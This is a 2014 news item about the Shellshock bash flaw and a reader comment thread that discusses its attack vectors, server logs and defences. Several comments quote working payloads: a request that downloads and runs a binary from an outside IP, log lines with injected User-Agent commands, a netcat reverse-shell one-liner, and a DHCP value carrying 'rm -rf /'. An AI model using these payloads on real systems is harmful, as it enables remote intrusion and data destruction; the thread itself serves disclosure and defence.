Flurry of Scans Hint That Bash Vulnerability Could Already Be In the Wild

The recently disclosed bug in bash was bad enough as a theoretical exploit; now, reports Ars Technica, it could already be being used to launch real attacks. In a blog post yesterday, Robert Graham of Errata Security noted that someone is already using a massive Internet scan to locate vulnerable servers for attack. In a brief scan, he found over 3,000 servers that were vulnerable "just on port 80"—the Internet Protocol port used for normal Web Hypertext Transfer Protocol (HTTP) requests. And his scan broke after a short period, meaning that there could be vast numbers of other servers vulnerable. A Google search by Ars using advanced search parameters yielded over two billion web pages that at least partially fit the profile for the Shellshock exploit. More bad news: "[T]he initial fix for the issue still left Bash vulnerable to attack, according to a new US CERT National Vulnerability Database entry." And CNET is not the only one to say that Shellshock, which can affect Macs running OS X as well as Linux and Unix systems, could be worse than Heartbleed.

Comments

Worse than Heartbleed?

[charlesbakerharris]

You mean "worse than a vulnerability that doesn't seem to have been exploited on any significant scale"?

Re:Worse than Heartbleed?

[Anonymous Coward]

What a stupid argument.

1. It will be, if it wasn't before.

2. You can't know that information.

Re:Worse than Heartbleed?

[LordLimecat]

Heartbleed exploits were and will continue to be generally undetectable. If any private keys were stolen, we wont ever know.

Re:Worse than Heartbleed?

[Anonymous Coward]

I just rm -rf / a vulnerable linux laptop (dummy laptop) simply by having it connect to my malicious dhcp server.

Re:Worse than Heartbleed?

[kuhneng]

Heartbleed has already been confirmed at the initial attack vector for the breach of a large healthcare system that stole 4.5M patient identities. Given the difficulty tracing Heartbleed attacks, it's likely other systems were compromised in the same way.

Re:Worse than Heartbleed?

[wagnerrp]

There are a large number of systems where the fix for this is simply to delete the thing.

If you could simply delete it, because you weren't using it, your system was never vulnerable and in need of fixing anyway.

Re:Worse than Heartbleed?

[Anonymous Coward]

Bah. Just replace bash then - or upgrade it. Read about this bug today (on a linux machine), tested for it - and it was fixed already. The bug may be a bad one, but the fix is out already. Got it through a standard upgrade of arch, no specific action to fix this. Fix bash, and all that cgi/ssh is as safe as ever.

Trivial to exploit - but trivially fixed too.

Re:Worse than Heartbleed?

[the real darkskye]

Your router, access point and TV are probably using busybox and not bash.

Re:Worse than Heartbleed?

[Anonymous Coward]

It really isn't that bad.

AcceptEnv can only be exploited by people you let log in - don't let people you don't trust log in.
DHCPC can only be busted by people on your lan - or very poorly written DHCPCs (which should be blocked at firewalls) - don't let people you don't trust on your network

Which leaves web accessible issues, I fixed mine with mod_security for the moment.

Re:Worse than Heartbleed?

[Tenebrousedge]

This is probably true, but not necessarily. There are probably a fair amount of access points and routers that run more fully-featured linuxes. Someone on HN confirmed that their WD MyCloud cheapo-NAS was vulnerable. The issue is, if there are any vulnerable embedded devices, they will probably go unpatched for a long time, especially if it's at all difficult for the end-user. If Joe Sixpack's TV can be hacked, he's probably not ever going to know, and probably not be able to fix it if so.

I predict there's going to be a lot of people with a lot of devices that are simply fucked.

"could be worse than Heartbleed"

[Junta]

To be fair, anyone using bash as the cgi handler for anything remotely serious was already doing it wrong. Bash by it's nature is a facility trying to let the presumably authenticated user of it to do whatever they want, even if it looks somewhat weird. Yes this bug warrants fixing, but putting bash or similar in a path where untrusted environment variables and/or argv is present is a very dubious design decision. Besides, fork and exec for every request is a huge no no, and that's the only way to fly with bash.

Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...

Re:"could be worse than Heartbleed"

[Anonymous Coward]

dhclient-script uses shell variables passed from the DHCP server. Your laptop connects to a rogue AP and you're owned because dhclient-script run as root.

Re:"could be worse than Heartbleed"

[jpvlsmv]

Except for the system "utilities" that are actually bash scripts, such as /usr/bin/xzgrep. These are vulnerable to inheriting malicious environment variables from the parent processes even if the overlying process is not a shell script.

The other reasonable vector is the use of environment variables set by your dhcp client before running /etc/sysconfig/if-up.d/* based on whatever is contained in the first DHCPOFFER packet it receives.

Re:"could be worse than Heartbleed"

[LordLimecat]

The NIST page indicates that DHCP could be used to exploit it. It also indicates low complexity and no authentication required, so Im not convinced youre correct.

Re:"could be worse than Heartbleed"

[QuietLagoon]

Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...

This blog post mentions php, c++, python, et alia, as another attack vector.

This means that web apps written in languages such as PHP, Python, C++, or Java, are likely to be vulnerable if they ever use libcalls such as popen() or system(), all of which are backed by calls to /bin/sh -c '...'. There is also some added web-level exposure through #!/bin/sh CGI scripts, calls in SSI, and possibly more exotic vectors such as mod_ext_filter.

Re:"could be worse than Heartbleed"

[nedlohs]

You don't need to use bash as the cgi handler. You just have to execute bash from your cgi handler. Say by the system() function in the c library on a system where /bin/sh is bash.

And of course connecting having your linux machine try and get an IP via DHCP is a vector.

Re:"could be worse than Heartbleed"

[Kiwikwi]

Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...

Unfortunately, attackers do not share your lack of imagination.

First of all, the CGI vulnerability is not about CGI scripts written in Bash, this is about any CGI script that at any point invokes a shell or invokes a program that invokes a shell (e.g. using the system call), irrespective of the actual shell command, on a system that uses Bash as the system shell (so pretty much all non-Debian based Linux distros).

Got that? any CGI program + any non-Debian Linux => vulnerable. (For once, the PHP programmers are ahead security wise due to the ubiquity of mod_php...)

Second of all, there are all kinds of non-CGI situations in which untrusted data is passed in environment variables. This is normally not a problem... unless that environment variable at any point is inherited by Bash.

The ISC DHCP client (dhclient) is the canonical example, as it runs a distro-specific shell script to set up the network once it gets a DHCP lease. Unustrusted values from the DHCP server are passed - you guessed it - in environment variables.

Re:"could be worse than Heartbleed"

[Anonymous Coward]

But I use systemd for my dhcp. Why the hell would anyone use scripts for dhcp or any other startup services? This isn't the fucking 80s anymore.

LOL's on you. I use systemd for my systemd. Why the hell would anyone use systemd for systemd or any other systemd? This isn't the systemding 80s anymore.


systemd

Re:"could be worse than Heartbleed"

[Junta]

I guess the point is that if a significant application is either written in bourne script or even doing something like system() to do nearly anything and it isn't some internal low security thing, then there is something that is bad going on.

That's not to say the bash thing isn't bad, but it *should* also be a wake up call to people to be mindful of invoking external utilities willy nilly when it is not appropriate.

Re:"could be worse than Heartbleed"

[Junta]

The DHCP case is truly a bad situation.

I still say that people shouldn't be using things like system() in cgi context except in very limited hacked up internal-only little web pages. It has the same problem as using bash directly, it's a massive waste of resources for an HTTP request to spawn a new process.

Re:"could be worse than Heartbleed"

[fnj]

You mod him up, and people who are smart will mod him down.

Try to understand, this is not about executing bash scripts as cgi, and it's not about sanitizing input. Period. It is about httpd setting environment variables from unsanitized user input when calling ANY cgi. And if perl or python or php then invoke bash by, for example, executing a call to system(), the environment gets passed to bash, and bash can be made to execute something bad just by having the environment set badly, and you can be pwned.

It took me a bit to "get it" myself.

Re:"could be worse than Heartbleed"

[seebs]

For low-traffic stuff, development time is much more important. Furthermore, in some cases, the actual intended function of a thing is to run specific code. And prior to this bug, it was reasonably well-understood that system("/absolute/path --with --fixed --arguments") was pretty safe, since the absolute path prevented any PATH-related shenanigans, and you weren't including any user data. The environment's not executable. Usually.

Re:"could be worse than Heartbleed"

[radtea]

The NIST page indicates that DHCP could be used to exploit it.

Any program that a) listens on a socket and b) calls out to a shell with an argument partially constructed from user input is vulnerable if the shell is unpatched bash. Apparently DHCP does this: https://www.trustedsec.com/sep...

The only saving grace in this bug is that it's relatively easy to patch on client and server machines.

But there are a lot of things that aren't client and server machines that run linux and use bash. Routers, cable modems... all kinds of embedded systems. These things generally lag behind everything else. Firewalls will no-doubt be getting upgraded as we speak, but routers? Ultrasound machines in hospitals?

There is a lot of hard-to-patch hardware out there, and while I'm sure manufacturers are working on getting fixes out, it's going to be a long, hard, expensive process to ensure they're implemented.

We're incredibly fortunate that this bug is pretty easily fixable, but there may well be additional lurking issues, and there is always the chance we are going to find something that can't be easily fixed without breaking existing bash functionality. The probability of that is low, but the consequences would be enormously bad.

We've all heard the saying, "If builders built buildings the way programmers wrote programs the first woodpecker to come along would destroy civilization." This has given us a glimpse of what a woodpecker might look like.

Re:"could be worse than Heartbleed"

[jpvlsmv]

Ok, perhaps I undermined the importance, but if you are using 'xzgrep' in cgi context in a serious situation, I would say that is still a mistake. Forking and execing in response to an http request is terrible performance wise before getting to the security dubious of it all.

The dhclient-script stuff is pretty significant and I think I would be in a weak position saying that those have no business execing system commands/scripts. However it does suggest it may be worthwhile to have a helper that is non-root with capabilities to allow it to do key stuff to limit it's ability.

# run under mod_perl
print "Content-Type: text/plain\n\n";
system("/usr/bin/xzgrep error /var/log/my.log");

Can you see how this prefectly secure quick CGI to find errors in your log file would result in a system compromise?

Re:"could be worse than Heartbleed"

[arth1]

Any program that a) listens on a socket and b) calls out to a shell with an argument partially constructed from user input is vulnerable if the shell is unpatched bash.

No, it's worse than that. You don't have to pass any arguments, and you don't even have to knowingly call shell - calling system() from a language that executes binaries in a shell context will do it, on systems that have /bin/sh point to bash (which is most of them these days).

In short, anything that inherits environment variables (like TERM, LANG, LC_COLLATE) and executes anything in a shell context is vulnerable. No passing of arguments or deliberate call of bash is needed.

Re:"could be worse than Heartbleed"

[Kiwikwi]

any CGI program + any non-Debian Linux => vulnerable

No, only CGI programs that use system/popen/etc to call out to things that may be bash.

Enh, good luck auditing even just a resonably complex CGI program for direct and indirect invocations of the system shell.

For instance, care to guess whether this one is safe?

For once, the PHP programmers are ahead security wise due to the ubiquity of mod_php...)

Well for one most languages the equivalent facility is available and usually used since it is a requirement to scale.

I know, mod_perl and mod_wsgi on Apache, and of course, Fast CGI. But CGI is still common in a lot of setups.

For another, even the silly 'fork and exec' perl or php or python isn't vulnerable if said script avoids system/popen/backticks/whathaveyou.

Even if you don't call out to the shell yourself, the standard library might.

Pop quiz 1: How is the PHP mail function implemented?

Pop quiz 2: What parts of the Python standard library module uuid are safe to use, and what parts will render your CGI script vulnerable?

I guess I was wrong to play down the severity of bash, but my hope was for people to just consider themselves to make a mistake by ever potentially having bash in a cgi context, for reasons beyond this exploit.

It's the system shell. It's everywhere. The real lesson here is to not use a big bulky program like Bash as the system shell.

Answers to pop quiz:

1. popen to execute sendmail program.

2. The following Python CGI script is vulnerable: import uuid (that's it). (uuid uses ctypes.util.find_library, which uses popen).

These examples took me less than 20 minutes of grepping to come up with, and I'm not even trying to hack any computers...

Re:"could be worse than Heartbleed"

[c]

Try to understand, this is not about executing bash scripts as cgi, and it's not about sanitizing input. Period. It is about httpd setting environment variables from unsanitized user input when calling ANY cgi.

Well... no. The root of the problem is bash treating something which really should only be considered data as code.

When I hear the words "Environment Variables", I don't think "well, some random bozo is going to look at those and just up and execute 'em". For bash to be treating the contents of the environment as anything other than dumb strings is, quite frankly, a Very, Very Bad Thing. For variables being set within a shell script, sure, they're intended for bash. But for data passed from program to program and not really even intended for interpretation by any specific script engine (which is fundamentally what environment variables are for), it's incredibly dumb.

Re:"could be worse than Heartbleed"

[spitzak]

Any program that a) listens on a socket and b) calls out to a shell with an argument partially constructed from user input is vulnerable if the shell is unpatched bash. Apparently DHCP does this: https://www.trustedsec.com/sep...

You have it somewhat wrong. The arguments to the shell are irrelevant as several mention below. However the program must set an environment variable to unchecked user input, something everybody seems to be missing. According to the advisory, DHCP has this bug in that it copies strings in the request (or at least the string identified by "114") to environment variables.

Not every program that calls system() sets environment variables to arbitrary text from the user, so not every program that calls system() is vulnerable, unlike a lot of people here are saying.

Re:"could be worse than Heartbleed"

[Darinbob]

It looks like a side effect of how it passes exported functions to sub shells. The only communication mechanism for talking to the subshell is the environment. So these are implemented by putting the function in an environment variable, then the subshell on startup looks at every variable to see if it looks like a function, and if so tries to turn them into a function. The snag then is that it does this by actually executing what's in the variable instead of fully parsing it first.

Re:"could be worse than Heartbleed"

[arth1]

Not every program that calls system() sets environment variables to arbitrary text from the user, so not every program that calls system() is vulnerable, unlike a lot of people here are saying.

Keep in mind that the program that calls system() does not have to be the one that accepts environment variables from tainted input. It may inherit the environment variables from a caller who does, or it may be several layers deep.
Unless a process discards all environment variables or verifies every single set environment variable whether used or not, it may pass the problem on to another process that calls system().

Re:It's been in bash a while.

[BasilBrush]

Versions affected go all the way back to BASH 1.14.0
which dates from 1994. So that's 20 years.

http://web.nvd.nist.gov/view/v...

The "With many eyes all bugs are shallow" myth is busted again.

"could be"

[RLiegh]

but IS it?

Preempting dumb discussion

[LordLimecat]

Looking at security discussions in terms of OS is really, really dumb. Windows wasnt vulnerable to heartbleed or this, but not because its Windows. Linux isnt affected because of the kernel. As has been the case for a very long time, actual OS flaws are exceedingly rare.

Anyone who uses this as an opportunity to post a screed about how Linux is better or worse than Windows is showing their ignorance by boiling down complex security considerations into black and whites.
 

Re:Preempting dumb discussion

[ray-auch]

Perhaps we should just be completely accurate and say: Linux is not vulnerable. GNU/Linux _is_ vulnerable. At least we keep RMS happy :-)

Re:Can anyone explain?

[diamondmagic]

The vulnerability is that a string that looks like a function definition can be constructed to be immediately executed prior to execution of the bash script. (This is to support truly ancient bash scripts back when functions were defined as VARIABLE()="() { body }".) However, a bug in that code means the entire value gets executed as a bash script, and so it's possible to append code to the function definition, and it'll get executed as bash code.

Essentially, it's lesson #1 why not to use eval() in your programs.

The danger is that user inputs in Web programs are frequently passed as environment variables to programs. This is especially true in CGI, where the request URI and HTTP headers are passed as environment variables.

This means if you use bash in your CGI, you can execute whatever command you like, as "apache" or whoever you're executing your CGI as. Remotely.

I sure as hell saw that coming

[Plumpaquatsch]

That ultimately the BASH vulnerability would be used to blame Apple for bad security.

Re:I sure as hell saw that coming

[mi]

No BSD system uses bash — if only for licensing issues (bash is GNU-licensed).. Thus, you are safe (from this bug) on DragonFlyBSD, FreeBSD, NetBSD, OpenBSD and any other BSD-licensed OS, unless you deliberately installed bash (such as from port) and wrote a CGI-script to use it.

Yes it is being exploited

[xanthos]

There is evidence that this is being exploited in the wild.
Nginx and Apache servers using mod_cgi are two potentially vulnerable services.

The risk is that it is possible to modify environment variables which then could allow the execution of arbitrary code with the permissions of the parent process.

An example attack:

GET./.HTTP/1.0 .User-Agent:.Thanks-Rob .Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;

Over at the Internet Storm Center http://isc.sans.org/ they have been updating their advisory and and a have a simple one-liner to test if a system is vulnerable.

Re:Yes it is being exploited

[Cramer]

Nice try. /tmp (and /var/tmp) are noexec tmpfs's on my webservers. Surprising how many wp and vb problems that stops.

How to disable CGI in Apache

[Animats]

If you're running Apache on Linux/UNIX, and don't absolutely need CGI, turn it off now.

Put a "#" in front of
LoadModule cgi_module modules/mod_cgi.so
in /etc/httpd/conf/httpd.conf. This will totally disable all CGI scripts. That's a good thing. Apache is willing to execute CGI scripts from far too many directories, and many Linux distros have some default CGI scripts lying around.

Note that this will break CPanel, but not non-CGI admin tools such as Webmin.

People are out there probing. This is from an Apache server log today from a dedicated server I run.

89.207.135.125 - - [24/Sep/2014:23:08:56 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 338 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Re:How to disable CGI in Apache

[nblender]

ok. Everybody /bin/ping -c 1 198.101.206.138

Re:How to disable CGI in Apache

[mea2214]

I got the exact same request
89.207.135.125 - - [25/Sep/2014:00:58:47 -0500] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 16658
on only one of my sites, the site I have registered with Google.
I use tcpdump to catch other fields and the ping came in through User Agent.
User-Agent: () { :;}; /bin/ping -c 1 198.101.206.138

Re:So flog the bash developer who checked this in.

[Aristos Mazer]

The bug is 25 years old at least. Pre-dates the existence of GIT and most other source code control software in use today. I have no idea what SCC would've been used 25 years ago. To give perspective -- this bug predates the WWW by at least a year.

Briefing for management - reuse with attribution

[myvirtualid]

Folks, for what it's worth, here is a management briefing I wrote this morning. Please feel free to re-use, but please do give proper attribution. Please do comment and correct as appropriate.

Summary: Briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability.

Status: Testing underway. Our initial scans and appraisals are that our public-facing systems are likely not subject to shellshock. NOTE: The situation is fluid, due to the nature of the vulnerability. Personnel are also reaching out to hosting providers to assess the status of intervening systems.

What is it? A vulnerability in a command interpreter found on the vast majority of Linux and UNIX systems, including web servers, development machines, routers, firewalls, etc. The vulnerability could allow an anonymous attacker to execute arbitrary commands remotely, and to obtain the results of these commands via their browser. The security community has nicknamed the vulnerability "shellshock" since it affects computer command interpreters known as shells.

How does it work? Command interpreters, or "shells", are the computer components that allow users to type and execute computer commands. Anytime a user works in a terminal window, they are using a command interpreter - think of the DOS command prompt. Some GUI applications, especially administrative applications, are in fact just graphical interfaces to command interpreters. The most common command interpreter on Linux and UNIX is known as the "bash shell". Within the last several days, security researchers discovered that a serious vulnerability has been present in the vast majority of instances of bash for the last twenty years. This vulnerability allows an attacker with access to a bash shell to execute arbitrary commands. Because many web servers use system command interpreters to fulfill user requests, attackers need not have physical access to a system: The ability to issue web requests, using their browser or commonly-available command line tools, may be enough.

How bad could it be? Very, very bad. The vulnerability may exist on the vast majority of Linux and UNIX systems shipped over the last 20 years, including web servers, development machines, routers, firewalls, other network appliances, printers, Mac OSX computers, Android phones, and possibly iPhones (note: It has yet to be established that smartphones are affected, but given that Android and iOS are variants of Linus and UNIX, respectively, it would be premature to exclude them). Furthermore, many such systems have web-based administrative interfaces: While many of these machines do not provide a "web server" in the sense of a server providing content of interest to the casual or "normal" user, many do provide web-based interfaces for diagnotics and administration. Any such system that provides dynamic content using system utilities may be vulnerable.

What is the primary risk? There are two, data loss and system modification. By allowing an attacker to execute arbitrary commands, the shellshock vulnerability may allow the attacker to both obtain data from a system and to make changes to system configuration. There is also a third risk, that of using affected systems to launch attacks against other systems, so-called "reflector" attacks: The arbitrary command specified by the attacker could be to direct a network utility against a third machine.

How easy is it to detect the vulnerability? Surprising easily: A single command executed using ubiquitous system tools will reveal whether any particular web device or web server is vulnerable.

What are we doing? Technical personnel are using these commands to test all web servers and other devices we manage and are working with hosting providers to ensure that all devices upon which we depend have been tested. When devices are determined to be vulnerable, a determination is made whether they should be left alone (e.g., if t

This exposes systemic insecurities

[CajunArson]

Basically, this Bash bug is really only exploitable by remote users because of some questionable decisions made in designing the software stack. This isn't an "open source" vs. "closed source" thing. This is a "We'll just trust data received from untrusted sources!" thing.

If your web/dhcp/print/etc. server is *accepting environment variables from random strangers* and then *executing a full-bore shell program* using those environment variables then guess what: You're freakin' server was already vulnerable and this Bash bug is just exposing the vulnerability, not causing it!!

Seriously, if Windows had a design like this then we'd be hearing the old "insecure by design!" schtick, and I'm not going to hold Linux to a lesser standard.

Re:This exposes systemic insecurities

[Kiwikwi]

Basically, this Bash bug is really only exploitable by remote users because of some questionable decisions made in designing the software stack.

Hm, no, the fault here lies squarely with Bash choosing to interpret an environment variable called HTTP_USER_AGENT as a program to execute.

This is not about accepting arbitrary environment variables; CGI puts data in a few, well-defined variables. This is a perfectly legimiate use of environment variables. (And Windows does the exact same thing.)

You're right that using a "full-bore shell program" such as Bash as the system shell is moronic. It is, unfortunately, still the norm on all major Linux distros except Debian and derivatives (which use the limited Dash shell, which is not vulnerable).

Primarily, I think this is a wake up call for Fedora, SUSE and the others: Bash is a huge, complex component, evidently with insufficient security review, and should not be used as the system shell. Debian dropped it for performance reasons, but now we can add security concerns to the list. It can stay around for use as an interactive shell (though why you'd do that when you have zsh, I don't know...)

Re:USER-AGENT

[phayes]

As far as I can see, the vulnerability is a remote exec for the following cases:
- Use of web server on the platform using CGI scripts
- For Linux devices that are configured to use DHCP, dhclient-script, a rogue DHCP server can pass in exploit code.

This is supposed to be worse than heartbleed which leaked the contents of system memory? OK for web servers I see the danger, but this doesn't seem to be a major exploit for people not running web servers & using fixed IPs.

Macs in particular rarely have web servers running on them & their DHCP client mechanism is different.

Re:It's been in bash a while.

[arth1]

Uhh.. I guess I'd say the "many eyes" have been saying for almost 20 years that a website that takes in user data and then passes that to a shell to run an executable is kinda stupid, and insecure.

You misunderstand the nature of the bug. Your cgi or app doesn't have to pass anything to an executable. A static call is just as vulnerable here - if a cgi app calls system("/path/to/safe/executable") with no parameters at all, you'll still be bitten, because the system() call executes /bin/sh to run the command in, and inherits the environment from the web browser.

Something like this will suffice:

telnet HOST 80 (or openssl s_client -connect HOST:443)
GET /someapp HTTP/1.1
Host: HOST
Cookie: () { :; }; /bin/cat /dev/urandom >/tmp/foo
Connection: close

... or any other command you want to execute, like perhaps an ssh out with a tunnel back in.

And it's not restricted to http cgi either. Several dhcp clients call sh, so you can get instahacked by trying to acquire an open network connection. Rather worse, because dhcpd/dhclient tend to run as root so they can set up routing and set up the resolver.
There are many other attack vectors for this one.

Yes, it's bad.

Re:It's been in bash a while.

[mr_mischief]

The system call in some languages will do that, and in some won't except under certain circumstances.

In Perl if you give system() a list it won't call the shell. If you give it a single scalar it will call the shell only if there are shell metacharacters in that scalar.

Re:It's been in bash a while.

[Vellmont]

I understand the nature of the bug. I ALSO think it's stupid to call an executable and pass in a parameter from the user.

Re:It's been in bash a while.

[Vellmont]

Oh, and as an addendum, I consider anything that originates from the client, something that the user can generate.

i.e. untrusted input is untrusted input. People get far to specific about that kind of thing. If you're taking input from a client, and passing it to a system executable in some way, that's bad.

Re:I love it.

[chipschap]

These days, Windows is the faster, more stable, and more secure choice.

Yes, Windows 8 has definitely demonstrated awesome superiority and everyone loves it.

Re:So flog the bash developer who checked this in.

[Kiwikwi]

In those days [late 80s/early 90s] revision control wasn't universally used. Even as late as the early 00's I was training engineers coming out of master's degree IT programs who had no idea how to use a revision control system.

Linus didn't use a revision control system for the Linux kernel until 2002.

(Aw... comparisons between CVS and the "soon to be finished" Subversion. How quaint.)

Here's a fun little test...

[mad-seumas]

Here's a fun little test. This is assuming both the attacker and target have netcat installed. On a machine with the vulnerable bash and apache-cgi (behind a firewall for god's sake!) drop a file in your cgi-bin directory:

#!/bin/bash
 
echo Content-type: text/plain
echo ""
 
pwd

You should be able to go to

http://www.your-server.com/cgi-bin/test.cgi

and get a listing of apache's cgi directory.

Now, from your attack machine run "nc -l -p 1234", and then (in another terminal) run "curl -A "() { :;}; /bin/nc attack.machine.ip.address 1234 -c /bin/bash". You now have a shell via netcat.

(from attacking machine netcat)

touch /tmp/pwnt

(on target)

ls -al /tmp/pwnt

$-rw-r--r-- 1 www-data www-data 0 Sep 25 15:53 /tmp/pwnt

Why is this a real problem?

[bussdriver]

Am I the only person who just assumed Bash was for users? Why would you let anybody run bash?

Why in the world would people thoughtlessly run any command under CGI? I didn't know about this bash feature but I never imagined placing a shell into CGI... it feels like giving the public a shell account. shells are user interfaces not servers. This feature is probably useful for users and they won't be able to easily disable it-- a bunch of specific case patches means it'll probably pop up in other misuses of bash.

I bet this has been used for decades by hackers for defacing websites, since the cgi-bin user often has write access to the html.

If you properly locked down cgi-bin just how much harm could they do in jail? (not that we should just jail shells and let people have at it, but the purpose for jailing your cgi-bin is to minimize damage.)

DHCP is interesting and new; I didn't know that the DHCP server could get my system to run bash commands... I guess I have to figure out what user the DHCP client runs under...

Re:It's been in bash a while.

[amicusNYCL]

I may be naive, but it's difficult for me to believe that someone thought up the attack vector from just thinking about shells in general.

It's not that hard to believe, maybe someone was designing some piece of software where they wanted to use functionality like that. They wanted to have the browser end up defining a function in bash, and then run some additional code, and did some tests to see if it would work. They found that not only will it work, but it will work a whole lot better than they thought it would. At that point, time to tell someone.

Can confirm...

[Solozerk]

Just saw this in the server logs on one of our servers:

82.165.144.187 - - [25/Sep/2014:18:55:59 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 392 "-" "() { :; }; /usr/bin/wget 82.165.144.187/bbbbbbbbbbbb"

An attempt at exploiting the vulnerability (trying to wget h t t p : // 82.165.144.187/bbbbbbbbbbbb to confirm the system is vulnerable).

Re:Can confirm...

[Solozerk]

Another one attempts to download and execute h t t p ://213.5.67.223/jurat , a perl backdoor that'll connect to a control IRC server (46.16.170.158 port 443), presumably so that a botnet can be constructed. It allows for port scanning and DDOSing remote targets based on IRC commands received.

And right now, there are already 560 invisible users connected there... and it grows at quite a pace. The flaw is definitely being exploited in the wild.

Re:It's been in bash a while.

[runningduck]

I am not even sure that this should be considered a bug in Bash. Why should we be surprised when a program whose sole purpose is to execute arbitrary commands is found to execute arbitrary commands? The only surprise is that it does so to a greater extent than expected. There have been documents since the 90's which emphasized the need to not pass unsanitized data to a CGI script and even more specifically Bash. I think that there could be a good argument that the bug is really in mod_cgi. Think of it this way, if a web application passes unvalidated input to an SQL server which in turn exposes data in unexpected ways is the bug in the SQL server?

Idea

[DrYak]

I'm not the original poster, but my idea goes like this:

- very often, when a laptop gets an IP from DHCP, it will launch a collection of helper scripts (that will in turn set-up lots of other thing. Random example: firewalling rules for the new interface)
- check which fields emitted by a DHCP server will end up in an environment variable during the call of these helper scripts.
Very obvisouly, the IP address will be in an environment variable, but that's not going to work because you can't put arbitrary data in there.
What else? Assigned network name? Some other data field?

Some of these data could have arbitrary form.
So you set it to "(){:;};rm -rf /".
Even before the helper script has had time to receive the data and do the necessary sanity check on it, bash will interpret the whole content (because it begins with () ) including the rm.

Any piece of software that:
- at some point of time runs helper shell scripts
- can receive arbitrary data that is placed in ENV variable while calling the scripts
is at risk.

Because BASH itself forgot to do its own input sanitation. (it should only load the function definition. It should not blindy eval any ENV variable beginin with (), it should only interpret the curly craces right after the () and stop once the body of the function is finished. Not call anything else).

That a REALLY nasty exploit.